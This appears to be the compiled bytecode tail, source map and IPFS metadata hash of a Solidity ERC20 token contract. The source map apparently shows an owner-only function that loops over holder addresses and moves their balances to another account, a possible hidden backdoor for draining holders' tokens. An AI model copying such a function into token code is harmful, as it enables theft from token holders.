026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e49190610940565b505050900390565b5f6109398284610bfb565b9392505050565b602081525f82518060208401528060208501604085015e5f6040828501015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011684010191505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109b6575f5ffd5b919050565b5f5f604083850312156109cc575f5ffd5b6109d583610993565b946020939093013593505050565b5f5f5f606084860312156109f5575f5ffd5b6109fe84610993565b9250610a0c60208501610993565b929592945050506040919091013590565b5f60208284031215610a2d575f5ffd5b61093982610993565b5f5f60408385031215610a47575f5ffd5b610a5083610993565b9150610a5e60208401610993565b90509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610aa4575f5ffd5b813567ffffffffffffffff811115610aba575f5ffd5b8201601f81018413610aca575f5ffd5b803567ffffffffffffffff811115610ae457610ae4610a67565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f830116810181811067ffffffffffffffff82111715610b2f57610b2f610a67565b604052918252602081840181019290810187841115610b4c575f5ffd5b6020850194505b83851015610b7257610b6485610993565b815260209485019401610b53565b509695505050505050565b600181811c90821680610b9157607f821691505b602082108103610bc8577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220136583a71b5321304989a5b83eb52ea83e271e0e172f7e675d38949592d0b16e64736f6c634300081b0033

18150:3633:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18789:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19972:169;;;;;;:::i;:::-;;:::i;:::-;;;1167:14:1;;1160:22;1142:41;;1130:2;1115:18;19972:169:0;1002:187:1;19066:100:0;19146:12;;19066:100;;;1340:25:1;;;1328:2;1313:18;19066:100:0;1194:177:1;19484:321:0;;;;;;:::i;:::-;;:::i;18975:83::-;19041:9;;18975:83;;19041:9;;;;1897:36:1;;1885:2;1870:18;18975:83:0;1755:184:1;19174:119:0;;;;;;:::i;:::-;19267:18;;19240:7;19267:18;;;;;;;;;;;;19174:119;18514:22;;;;;;;;;;;;2311:42:1;2299:55;;;2281:74;;2269:2;2254:18;18514:22:0;2135:226:1;18880:87:0;;;:::i;19301:175::-;;;;;;:::i;:::-;;:::i;19813:151::-;;;;;;:::i;:::-;19929:18;;;;19902:7;19929:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19813:151;21412:368;;;;;;:::i;:::-;;:::i;:::-;;18789:83;18826:13;18859:5;18852:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18789:83;:::o;19972:169::-;20055:4;20072:39;17226:10;20095:7;20104:6;20072:8;:39::i;:::-;-1:-1:-1;20129:4:0;19972:169;;;;;:::o;19484:321::-;19590:4;19607:36;19617:6;19625:9;19636:6;19607:9;:36::i;:::-;19654:121;19663:6;17226:10;19685:89;19723:6;19685:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;17226:10;19685:33;;;;;;;;;;:37;:89::i;:::-;19654:8;:121::i;:::-;-1:-1:-1;19793:4:0;19484:321;;;;;:::o;18880:87::-;18919:13;18952:7;18945:14;;;;;:::i;19301:175::-;19387:4;19404:42;17226:10;19428:9;19439:6;19404:9;:42::i;21412:368::-;21362:6;;;;21348:10;:20;21340:44;;;;;;;4655:2:1;21340:44:0;;;4637:21:1;4694:2;4674:18;;;4667:30;4733:13;4713:18;;;4706:41;4764:18;;21340:44:0;;;;;;;;;21487:9:::1;21482:291;21506:4;:11;21502:1;:15;21482:291;;;21539:15;21557:4;21562:1;21557:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;21596:18:::1;::::0;::::1;21579:14;21596:18:::0;;;;;;;;;;;21650:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21557:7;;-1:-1:-1;21596:18:0;21650:39:::1;::::0;21596:18;;;;21650:22:::1;:39::i;:::-;21629:18;::::0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21728:21;;;;:33:::1;::::0;21754:6;21728:25:::1;:33::i;:::-;21704:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;;21519:3:0::1;;21482:291;;;;21412:368:::0;:::o;20471:344::-;20573:19;;;20565:68;;;;;;;5184:2:1;20565:68:0;;;5166:21:1;5223:2;5203:18;;;5196:30;5262:34;5242:18;;;5235:62;5333:6;5313:18;;;5306:34;5357:19;;20565:68:0;4982:400:1;20565:68:0;20652:21;;;20644:68;;;;;;;5589:2:1;20644:68:0;;;5571:21:1;5628:2;5608:18;;;5601:30;5667:34;5647:18;;;5640:62;5738:4;5718:18;;;5711:32;5760:19;;20644:68:0;5387:398:1;20644:68:0;20723:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20775:32;;1340:25:1;;;20775:32:0;;1313:18:1;20775:32:0;;;;;;;;20471:344;;;:::o;20823:477::-;20929:20;;;20921:70;;;;;;;5992:2:1;20921:70:0;;;5974:21:1;6031:2;6011:18;;;6004:30;6070:34;6050:18;;;6043:62;6141:7;6121:18;;;6114:35;6166:19;;20921:70:0;5790:401:1;20921:70:0;21010:23;;;21002:71;;;;;;;6398:2:1;21002:71:0;;;6380:21:1;6437:2;6417:18;;;6410:30;6476:34;6456:18;;;6449:62;6547:5;6527:18;;;6520:33;6570:19;;21002:71:0;6196:399:1;21002:71:0;21104;21126:6;21104:71;;;;;;;;;;;;;;;;;:17;;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;21084:17;;;;:9;:17;;;;;;;;;;;:91;;;;21209:20;;;;;;;:32;;21234:6;21209:24;:32::i;:::-;21186:20;;;;:9;:20;;;;;;;;;;;;:55;;;;21257:35;1340:25:1;;;21186:20:0;;21257:35;;;;;;1313:18:1;21257:35:0;1194:177:1;14581:240:0;14701:7;14762:12;14754:6;;;;14746:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14:477:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;482:2;412:66;407:2;399:6;395:15;391:88;380:9;376:104;372:113;364:121;;;14:477;;;;:::o;496:196::-;564:20;;624:42;613:54;;603:65;;593:93;;682:1;679;672:12;593:93;496:196;;;:::o;697:300::-;765:6;773;826:2;814:9;805:7;801:23;797:32;794:52;;;842:1;839;832:12;794:52;865:29;884:9;865:29;:::i;:::-;855:39;963:2;948:18;;;;935:32;;-1:-1:-1;;;697:300:1:o;1376:374::-;1453:6;1461;1469;1522:2;1510:9;1501:7;1497:23;1493:32;1490:52;;;1538:1;1535;1528:12;1490:52;1561:29;1580:9;1561:29;:::i;:::-;1551:39;;1609:38;1643:2;1632:9;1628:18;1609:38;:::i;:::-;1376:374;;1599:48;;-1:-1:-1;;;1716:2:1;1701:18;;;;1688:32;;1376:374::o;1944:186::-;2003:6;2056:2;2044:9;2035:7;2031:23;2027:32;2024:52;;;2072:1;2069;2062:12;2024:52;2095:29;2114:9;2095:29;:::i;2366:260::-;2434:6;2442;2495:2;2483:9;2474:7;2470:23;2466:32;2463:52;;;2511:1;2508;2501:12;2463:52;2534:29;2553:9;2534:29;:::i;:::-;2524:39;;2582:38;2616:2;2605:9;2601:18;2582:38;:::i;:::-;2572:48;;2366:260;;;;;:::o;2631:184::-;2683:77;2680:1;2673:88;2780:4;2777:1;2770:15;2804:4;2801:1;2794:15;2820:1186;2904:6;2957:2;2945:9;2936:7;2932:23;2928:32;2925:52;;;2973:1;2970;2963:12;2925:52;3013:9;3000:23;3046:18;3038:6;3035:30;3032:50;;;3078:1;3075;3068:12;3032:50;3101:22;;3154:4;3146:13;;3142:27;-1:-1:-1;3132:55:1;;3183:1;3180;3173:12;3132:55;3223:2;3210:16;3249:18;3241:6;3238:30;3235:56;;;3271:18;;:::i;:::-;3317:6;3314:1;3310:14;3353:2;3347:9;3412:66;3407:2;3403;3399:11;3395:84;3387:6;3383:97;3546:6;3534:10;3531:22;3510:18;3498:10;3495:34;3492:62;3489:88;;;3557:18;;:::i;:::-;3593:2;3586:22;3643;;;3693:2;3723:11;;;3719:20;;;3643:22;3681:15;;3751:19;;;3748:39;;;3783:1;3780;3773:12;3748:39;3815:2;3811;3807:11;3796:22;;3827:148;3843:6;3838:3;3835:15;3827:148;;;3909:23;3928:3;3909:23;:::i;:::-;3897:36;;3962:2;3860:12;;;;3953;3827:148;;;-1:-1:-1;3994:6:1;2820:1186;-1:-1:-1;;;;;;2820:1186:1:o;4011:437::-;4090:1;4086:12;;;;4133;;;4154:61;;4208:4;4200:6;4196:17;4186:27;;4154:61;4261:2;4253:6;4250:14;4230:18;4227:38;4224:218;;4298:77;4295:1;4288:88;4399:4;4396:1;4389:15;4427:4;4424:1;4417:15;4224:218;;4011:437;;;:::o;4793:184::-;4845:77;4842:1;4835:88;4942:4;4939:1;4932:15;4966:4;4963:1;4956:15;6600:279;6665:9;;;6686:10;;;6683:190;;;6729:77;6726:1;6719:88;6830:4;6827:1;6820:15;6858:4;6855:1;6848:15

ipfs://136583a71b5321304989a5b83eb52ea83e271e0e172f7e675d38949592d0b16e